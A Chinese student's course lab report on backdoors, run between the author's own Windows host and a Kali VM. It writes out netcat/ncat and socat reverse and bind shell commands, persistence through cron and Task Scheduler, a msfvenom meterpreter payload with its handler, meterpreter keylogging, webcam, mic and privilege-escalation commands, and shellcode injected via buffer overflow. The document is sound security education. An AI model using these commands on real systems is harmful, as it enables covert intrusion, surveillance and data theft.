《网络对抗技术》Exp2 后门原理与实践——20184303邢超远

一、实验名称

​ 后门原理与实践。

二、实验目的与要求

  • 掌握后门的概念,知道常见的后门种类,深入理解后门的运作原理。

  • 掌握几种常见的后门工具,学会利用后门工具进行一些简单操作。

  • 增强信息安全意识,认识到后门的危害性,提高对后门的防范意识。

三、实验原理

3.1 后门的概念

后门是指绕过安全控制而获取对程序或系统访问权的方法,通过它可以绕过正常的认证途径获取对系统的访问。

对于攻击方,要使用后门入侵一台目标主机或服务器,首先得有一个拥有后门功能的攻击程序,这类程序有很多,包括 netcat系列、meterpreter、intersect和Windows Update等;然后要想方设法把后门程序放到目标系统中,可以通过U盘直接拷贝、钓鱼网站、攻击并绑定到正版软件中、发送邮件和暴力攻击等手段,把后门放进目标系统中;接下来要想让后门起作用,就要先把后门运行起来,对此可以设置开机自启动、定时启动任务、关联启动等方式,这些都可以让后门程序在目标系统中运行起来,这样可以在目标主机中执行后门权限中的所有操作。为了让后门可持续性使用,需要免于被杀毒软件清除掉(恶意代码免杀技术),还要保证连接的稳定性以免被防火墙拦截(隧道技术、加密连接、反弹式连接)。

3.2 后门程序

3.2.1 nc

又名netcat、ncat,是一个底层工具,进行基本的TCP、UDP数据收发,小巧精致,面世已久,常与其他工具结合使用,起到后门的作用。Linux系统和Mac系统(苹果电脑使用的)往往自带nc,Windows系统则需要自行下载,如果之前没有下载过的话。下载地址还是本课程在码云上的资料站: https://gitee.com/wildlinux/NetSec/attach_files ,从中可以找到ncat.rar,直接点击下载然后解压即可使用。

图1

下面是关于nc工具的一些使用介绍。

计划是在Windows主机和kali虚拟机之间进行ncat的使用练习,首先分别探知一下两台机器的IP地址。

在Windows机器中,在命令行输入ipconfig查询。

图2

上图所示即Windows机器的IP地址:172.16.208.84

在kali中,可以在命令行输入ip add来查询IP地址。

图3

上图红框所示部分即为我kali的IP地址:192.168.73.128

关于ncat工具的使用,有一篇文章进行了较为深入的讲解,参见https://www.oschina.net/translate/linux-netcat-command?cmp&p=1。

  • 在Windows中获取kali的命令行。

图4

首先在Windows中找到ncat工具的安装路径。

通常我们进入Windows的命令行,默认的路径是当前登录该系统的用户文件夹,我的用户名是“小路”,那么我一开始进入命令行,就是进入了该用户文件夹。我的ncat工具存放在桌面上,所以就通过cd Desktop\ncat命令进入桌面上的ncat文件夹,然后执行命令ncat.exe -l -p 4303,在Windows上建立一台ncat服务器,-l表示监听,-p用于指定端口,指定的是4303这个端口,监听前要确定该端口未被占用。也可以不用进入ncat文件夹,但在执行命令时要加上ncat.exe的完整路径。相较之下还是先进入ncat文件夹比较合适。

图5

在Win上开启监听后,在kali命令行中输入nc 172.16.208.84 4303 -e /bin/sh,这里填写的IP地址是Windows的。此时kali的角色就相当于客户端,向172.16.208.84(Windows主机的IP地址)的4303端口发起了连接请求,后面的参数表示当它连接成功时执行/bin/bash,也就是调用命令行。这是一种反向连接,反向shell是指在客户端打开的shell。反向shell这样命名是因为不同于其他配置,Windows调用kali的命令行,即服务器使用的是由客户端提供的服务。

图6

上图是在kali中发出连接申请后的情形。

图7

上图是连接建立后,在Windows上调用kali命令行的情形,我依次输入了4条指令,可以看到输出都是符合预期的。

结束连接的话,在任意一方都可以结束,在kali一端的话,在命令行中按下ctrl+c,即可以断开连接,如下图所示:

图8

如上图所示,断开连接后,双方的命令行都回归了初始的输入状态。

以此为例,如果能偷偷建立起这样一条连接的话,那么服务器端就可以肆无忌惮地入侵客户端的系统,还可以想办法提权以获取系统最高权限进而为所欲为。

  • ·在kali中获取Windows的命令行。

    这一步和上一步的操作是类似的,区别只是把Windows和kali的角色互换了,在这里是把kali当作一个服务器,把Windows当作一个客户端,同样是建立起一个反向连接,服务器kali获取客户端Windows的服务。

    首先在kali中输入nc -l -p 4303,建立一台服务器用于监听4303端口。监听后的情形如下图所示,暂时不会有更多提示了。

图9

在Windows中输入ncat.exe -e cmd.exe 192.168.73.128 4303,连接Windows的4303端口,同时示意在连接建立后开启cmd.exe,这正是Windows的命令行。

图10

上图是在Windows中发出连接请求后的情形。

图11

如上图所示,在Windows发出连接请求后,kali这边输入命令行后原本空荡荡的命令行也出现了Windows命令行的提示符,并且路径也正是和Windows命令行的当前路径是一样的,都是在ncat文件夹下。我们可以在这里进行一些测试,比如dir命令,结果如下。

图12

这样Windows主机桌面ncat文件夹里面的文件和目录就都显示出来了。dir原本不是kali中的命令,不会在kali中得到执行,但一旦我们调用了Windows的shell,就可以用Windows的cmd命令了。再测试一个命令:ipconfig

图13

上图红框所示部分即为ipconfig查询到的IP地址,从中可以看出,虽然是在kali中执行的查询IP地址的命令,但是由于查询环境是Windows的命令行,所以查到的IP地址还是Windows主机的IP地址:172.16.208.84,而不是kali的。

图14

如上图所示,在kali中输入exit,就退出了正在调用的Windows命令行,连接断开,Windows和kali双方的命令行都恢复了正常的待输入状态。

  • 为Windows和kali建立实时通信连接。

图15

在Windows命令行输入ncat.exe -l 4303,启动ncat服务器监听4303端口。同时在kali命令行输入nc 172.16.208.84,这里填的是Windows的IP地址及其监听的端口号,以此连接到Windows主机的4303端口。

图16

在连接建立过后,双方就可以在各自的命令行进行对话了。如上图所示,kali在上面,Windows在kali下面,一方发出来的信息,都可以被另一方及时接收到。

  • Windows向kali传文件。

    首先在接收方也就是kali侦听指定端口,然后将一个指定的文件发送出去,这个文件必须首先存在,命令为:nc -l -p 4303 > 4303.txt,文件名没有加地址前缀,要求必须存放在当前目录下。然后在发送方也就是Windows端,向接收方的地址(kali的IP地址和侦听的端口号)发送文件,命令是:ncat 192.168.73.128 4303 < 4303.txt。这个命令一经执行,当前目录下就出现了一个名为4303.txt的空白文件,然后随着传输的进行这个文件会被逐渐填满变得和发送方发送的文件一模一样。

图17

上图是发送方要发送的文件的示意图,可以看出这是一个txt文件,里面内容如上,存放在桌面的ncat文件夹里。

图18

上图是在kali接收文件的示意图,可以看出文件已被成功接收。

  • 从kali向Windows发送文件

    先是在Windows上侦听指定端口,比如4303,将收到的数据存储在一个指定的文件中,命令是ncat -l -p 4303 >4303.txt。然后在kali中将文件发送到Windows上,地址是Windows的ncat服务器侦听端口,命令是:nc 172.16.208.84 4303 < 4303.txt

图19

上图是kali发送文件的示意图,可以看出文件内容、文件名等信息。待传送的文件名是什么,那么传文件命令中的文件名参数就得是什么。

图20

图21

上图是在Windows中的接收文件的截图,这个命令里面的文件名参数是自拟的,自己定好之后,当前目录下就会出现一个空白文件,这个文件的名字就是命令中指定的那个。上图中命令行里有三个文件接收命令,三个都可以用,区别只是文件名参数不同,只要连接是通着的,那么在当前目录下就可以收到三个内容相同但文件名不同的txt文件。在上图中我验证了43031.txt和43032.txt两个文件,其内容和kali传过来的文件是一模一样的,说明传送成功了。由于双方的连接一直没有断开,我就在Windows的命令行这边按下了ctrl+c,以结束连接。由上图可看出命令下面都有一个提示符,那就是按下结束连接的按键时提示的。如果连接一直不断开的话,什么时候结束连接,就看接收方的文件大小吧,如果大小和发送方发送的文件大小一模一样的话,那十有八九就是已经完全接收了。

3.2.2 Meterpreter

Metasploit中的Meterpreter模块在后渗透阶段具有强大的攻击力,meterpreter的常用命令、脚本及使用方式包含信息收集、提权、注册表操作、令牌操纵、哈希利用、后门植入等。本实验用这个东西只是一种比较肤浅的使用,简单输入命令的那种,没有复杂的设计过程。详细介绍可见https://xz.aliyun.com/t/2536,这里不作过多摘抄,后面有实验内容会涉及。

四、实验内容

(一)使用netcat获取主机操作Shell,cron启动

前面在介绍nc工具时进行过简单的获取主机操作Shell,这里会完成该操作的进阶版本,即定时自动连接,这样就不用手动连接了,也就更像一个后门该有的样子了。

图22

首先在kali中输入crontab -e,然后选择第三个编辑器进入编辑,在“Choose 1-3[1]:”后输入3,选过之后下次输入就默认自动进入第三个编辑器。编辑界面如图23所示,之后就可以添加定时任务。

图23

进入编辑界面后,按下a键,此时可以开始编辑,此时在最下面一行添加这样内容:5 * * * * /bin/netcat 172.16.208.84 4303 -e /bin/sh。星号代表运行时间,分别是 :分、时、日、月、每周七天中的某天。星号代表任意值,都是星号的话也就是说,任意年,任意月,任意时,任意分,任意日,都执行后接的命令。时间格式如下:

图24

图25

如上图所示,在编辑界面的最后一行添加如上信息,表示在每小时的5分钟都会连接到IP地址为172.16.208.84的主机的4303端口,让他(Windows)调用自己(kali)的命令行,这正是一个典型的反弹连接。这条命令能够成功执行的前提是,Windows主机已经建立了一个侦听自己4303端口的ncat服务器。毕竟连接是双向的,一方发出了申请,另一方连门都不开的话,这样肯定建立不了连接。

编辑完成后,按下Esc,紧接着直接输入:wq,然后回车,就可以保存退出了。

图26

这样就完成了新的定时任务的添加。等定时任务快开始时,就在Windows的命令行输入ncat.exe -l -p 4303,这代表Windows开启了一个ncat服务器,随时监听4303端口,一旦收到连接请求就可以考虑同意建立连接。这样,当时间一到,kali的定时任务开始执行后,kali就会反弹连接Windows主机,这时候Windows主机刚好在监听,那么就可以建立连接。

图27

在每小时的第5分钟后(上图所示为8:05),kali已经向计划任务中指定的那个IP地址的指定端口发起了连接请求,在Windows这边,如上图所示,提前准备好监听,等时间一到自然就连接上了。此时输入kali指令ls,输出结果是符合预期的。同时一定要注意虚拟机时间和windows时间的对称性,要以虚拟机的时间为准进行实验。

(二)使用socat获取主机操作Shell, 任务计划启动

在Windows主机上按下win+r,输入compmgmt.msc唤出计算机管理界面,在这里创建一个新的定时任务。

图28

图29

上图就是本地计算机管理界面,选择创建任务。

图30

在创建任务界面,一共要填够三大项内容,分别是上图所标示的1、2、3三部分。在第1部分填写一个便于识别的用户名称,其他默认即可。

图31

在第2部分选择新建一个触发器,无论如何能够让任务触发即可,这一部分设置灵活性较高。我选择按预定计划开始,时间就设在执行这一步操作的不久之后,以便于随做随验证。其他设置默认即可。

图32

触发器设置好以后,会有上图所示的信息。接下来进行第3步,新建一个操作。

图33

这里是使用socat工具获取Windows主机的Shell,所以在程序或脚本这一项需要填写socat工具的路径,具体到socat.exe这个应用程序,这是需要事先下载好的,前文有提到过。在参数方面,需要填写tcp-listen:4303 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口4303,同时把cmd.exe的stderr重定向到stdout上。

图34

这样就添加了一个新的任务计划程序,可以看出它正处于准备就绪状态,到点就开始运行了,即使错过了定时的时间点,也可以直接右键单击该任务然后选择执行,这样可以随时执行。

图35

上图即是运行状态下的新任务。开始运行后,Windows会弹出一个命令行窗口,让它开着不要关闭。此时在kali中输入socat - tcp:172.16.208.84:4303,通过socat方式连接Windows主机的tcp4303端口。

图36

图37

如上所示,双方通过socat成功建立起了连接,kali调用了Windows主机的Shell,并且这个Shell当前所在的目录是一个系统文件夹,我们用dir命令来查看一下的话,可以发现有海量的文件和文件夹。

图38

在当前页面按下ctrl+c,可以断开socat连接。不用这个连接后,可以回到任务程序计划库,将正在运行的任务关闭,让其回归就绪状态,如下所示:

图39

(三)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell。

在kali中运行命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.73.128 LPORT=4303 -f exe > 20184303_backdoor.exe,IP地址填kali的,该命令执行成功后,会生成一个后门可执行程序:20184303_backdoor.exe,文件名是自拟的,文件后缀是前面参数f设定好的。文件成功生成的截图如下:

图40

由上图可知这个可执行文件大小约为73KB,然后,在Windows命令行中进入ncat目录下,执行命令ncat.exe -l 4303 > 20184303_backdoor.exe,这样被控主机也就是Windows主机就进入了接收文件模式,在kali中执行命令nc 172.16.208.84 4303 < 20184303_backdoor.exe,IP地址填Windows主机的,将刚刚生成的文件从kali发送到Windows主机。

图41

上图所示即可以找到Windows主机从kali那里刚刚接收到的后门文件。我在接收文件的时候,发现无论是Windows还是kali端,命令行都是处于刚刚输入完命令的样子,没有新的提示,也不知道文件传完了没有。我就在Windows端的ncat文件夹里隔段时间刷新一下看20184303_backdoor.exe文件的大小,因为在kali中已经获悉了该文件的具体大小,那么只要在Windows中看到这个文件的大小已经够了,那就可以用ctrl+c中断连接了。

下面在kali中输入msfconsole,进入MSF控制台。

图42

上图选自码云本课程的后门实践讲义,详细介绍了在MSF上打开监听的步骤。

图43

进入控制台后,输入use exploit/multi/handler,使用监听模块;然后输入set payload windows/meterpreter/reverse_tcp,使用指定的payload,它与生成后门程序时使用的payload必须是一样的;生成后门程序是使用的IP地址和端口号,也都要和刚刚生成后门程序时的一致。

set LHOST 192.168.73.128

set LPORT 4303

在命令行中一直输入命令直到exploit,此时kali试图建立一个针对本机4303端口的反向TCP连接。接下来需要在Windows上运行一下刚刚从kali那里接收到的后门程序,运行时可能会被杀毒软件提示有问题,选择信任自己。

图44

我的这次运行被联想电脑管家拦截住了,我在杀软里选择信任该程序,然后再次运行,此时Windows端会主动连接kali,连接成功后,kali这边就获得了Windows的命令行。

图45

此时就可以在kali端操作Windows端了,比如,在这里输入dir命令,查看此时Windows端命令行所在的目录下都有哪些目录和文件。

图46

如上图所示,这对于一个指定目录下的全部内容来说相当于是被彻查了户口, 包括权限、大小、类型、最后修改时间还有文件名。

(四) 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权.

以下都是在kali上针对Windows端的后门操作。

1.获取音频。

图47

输入record_mic,获取Windows主机所处的物理环境下的一段声音。获取完成的音频会被存储在一个指定的路径,我们找到这个路径,果然发现了刚刚录的音频。它还有好多厉害的参数,参见https://blog.csdn.net/ban47491/article/details/101082397.

图48

2. 获取摄像头。

图49

输入webcam_snap,调用Windows端的摄像头拍个照然后存储在一个指定的路径。拍完之后照片会直接显示出来,还可以找到这个路径,把照片拖到Windows端的桌面上,在Windows上照样可以查看。

图50

3. 获取击键记录。

图51

keyscan_start作用是打开键盘记录,keyscan_stop是结束键盘记录,keyscan_dump是导出键盘记录。

上图红线强调的部分即为从打开键盘记录后到导出键盘记录之间我所敲打过的按键都有哪些。

4. 获取截屏。

图52

输入screenshot,获取Windows端的实时屏幕截图,同时也有截图的存储路径。

图53

5. 提权

提权通过后门入侵到目标系统,攻击者往往会想方设法提高自己入侵身份的权限,提到最高权限最好,那样可以在被入侵的系统中执行任意操作。在我的实验中,MSF已经获得了权限,不需要提权。如下图所示,输入getuid,出现当前用户信息;输入getsystem,就会出现成功获取系统权限的提示,后面还跟了一个获取的途径。

图54

(五)(选做)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

在这一部分,我将实验一的pwn1复制到了文件夹exp2中,并重命名为pwn4303方便后续实验。

图55

首先是设置堆栈可行并且关闭地址随机化,设置完要紧接着验证一下。这样设置是为了简化实验过程,为本操作的成功执行创设条件。我们用execstack -s pwn4303来设置堆栈可行,用execstack -q pwn4303来验证堆栈可行有没有设置成功,看见“X 文件名”这种格式的输出就代表设置成功了;用sudo sh -c " echo 0 > /proc/sys/kernel/randomize_va_space"来关闭地址随机化,作用是往一个指定的文件里写了一个0,用more /proc/sys/kernel/randomize_va_space来验证有没有关闭成功,这一条命令的输出如果是0的话就表示关闭成功了,因为刚刚写的就是0,否则,非0的输出都表示没有关闭成功。一般都能关成功的,只要命令执行成功了。下面是我执行这些指令的经过。

图56

下面需要做的,和实验一的第三个操作就很类似了,我们需要通过这个操作找到getShell函数的首地址。然后把首地址写入下面这段代码中:

perl -e 'print "A" x 32;print "\x01\x02\x03\x04\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input

接下来需要两个命令行窗口(确保堆栈可用和地址随机化都已经按规定设置),第一个,窗口运行自己的pwn1文件,我们在文件所在的目录下输入(cat input;cat) | ./pwn4303

图57

然后在第二个窗口,输入ps -ef | grep pwn4303,查看pwn4303的进程号,比如我的是14008,我先记下这个值。然后在当前命令行中开启gdb工具。

图58

然后输入disassemble foo,针对foo函数进行反汇编,可以看到ret的地址为0x080484ae,所以我们就在这个地址设置断点,指令为break *0x080484ae。此时系统会提示自己说,Breakpoint 1 at 0x80484ae,这表明断点设置完毕。

图59

现在,我们在第一个命令行终端按下一次回车键,然后回到第二个终端按下c键继续运行。经历过上面的操作后,我们在第二个终端输入info r esp查看栈顶指针所在的位置及其存放的数据。

由上图可知,esp寄存器放的是存0xffffd18c,紧接着我们用x/16x 0xffffd18c查看该地址的及其临近地址所存放内容。我们找到了0x04030201,这也正是返回地址的位置。shellcode就挨着,加上4就是了,所以shellcode的地址是 0xffffd190。

如上图所示,我们可以先退出gdb调试工具,然后向刚才生成的input4303文件中覆盖修改后的Perl代码,地址0xffffd190在写入文件时遵循小端优先的原则,按\x90\xd3\xff\xff......的形式写入,每一个16进制数表示一个字节。

图60

接下来我们打开第三个终端,使用msfconsole进入控制台,在第二个终端中执行(cat input4303;cat) | ./pwn4303(input4303是perl语言执行过后生成的文件,我们要把它注入到pwn4303文件中去)

图61

如上图左端所示,下面第一个蓝色星号表示开始建立反弹连接,当右边界面的(cat input4303;cat) | ./pwn4303命令执行,并且回车了以后(得2次回车,不要因为1次回车没有效果就推倒重来),上图左端才会出现第二个蓝色星号部分,表示连接会话session 1已经打开,后面附上了通信双方的IP+端口号以及连接建立的时间。

图62

上图是我在连接成功后做的测试,测试端在左边的命令行中,我先后输入了两条指令,都得到了符合预期的结果。我开启了两个命令行窗口,这种反弹连接的效果,相当于是左边的命令行调用了右边的命令行,能够获悉右边用户的状态、信息。

五、实验总结与体会

(一)基础问题回答

1.列举你能想到的一个后门进入到你系统中的可能方式?

通过一封邮件,当你打开邮件,会自动激活一个链接,利用漏洞不经用户同意就转入后台自动下载,这样一个后门程序便可以在你的电脑中实时监测。

2.列举你知道的后门如何启动起来(win及linux)的方式?

定时任务启动,在Windows的任务计划程序库添加新的定时任务,在kali的crontab编辑添加新的定时任务。

接触启动,绑定在一个程序或者一个链接中,当你点击时自动启动。

3.Meterpreter有哪些给你映像深刻的功能?

截取音频、屏幕截图、拍照和击键记录,这些都是实验做过的东西,自然印象深刻。

拍照和击键记录是我印象最深刻的功能。在击键记录的实验中我输入了我的KALI账户的密码,立刻就显示在了命令行中,使我非常震惊。拍照也是让我非常吃惊,刚输入完指令,自动摄像头打开,照片就出现在了kali中,这些在现实生活中经常用于窃取他人的个人隐私信息,非常的不安全。

4.如何发现自己的系统有没有被安装后门?

使用杀毒软件实时监控自己的系统,在实验中,当后门启动时,联想电脑管家就会提醒我有一个后门程序,会将其自动清除。我们也可以在进程管理中找到正在运行的后门程序。

(二)问题解决

在本实验的完成过程中,出现了进行实验二时,输入指令“* * * * * /bin/netcat 172.16.208.84 4303 -e /bin/sh”,表示每分钟连接到IP地址为172.16.208.84的主机的4303端口时,Windows命令行是可以互连的。

可是将指令换为“40 * * * * /bin/netcat 172.16.208.84 4303 -e /bin/sh”每小时第40分钟连接到IP地址为172.16.208.84的主机的4303端口时,在windows命令行中没有反应。通过云班课答疑,才发现问题在于虚拟机时间和主机时间不对称。

图63

图64

图65

当虚拟机时间为7:58时,windows时间为21:03,导致了实验无法进行,如果将指令分钟以虚拟机时间为准,实验可以进行下去。

图66

(三)实验感想和体会

本次实验是关于后门原理与实践的,在完成的过程中遇到了非常多的问题,也参考了其他同学的博客,遇见问题解决问题,使我对于后门有了更深刻的认识。借用于一些后门工具我们便可以制作完成一个后门,通过调用后门对靶机进行操作。实验中我学习了netcat、socat和MSF meterpreter这些简单的后门工具的使用,使我对于后门的开发有了一个基本的认识。我也深刻地感觉到了个人隐私的泄露是多么的容易,可能一封简单的邮件,一个普通的网页,里面都会有着隐秘的后门程序,轻易地进入我们的电脑,窃取信息和数据,保密意识是一个非常值得我们关注和培养的东西,我也会在未来的学习进一步深化对网络对抗技术的认识和了解!

posted @ 2021-03-27 10:09  20184303邢超远  阅读(204)  评论(0编辑  收藏  举报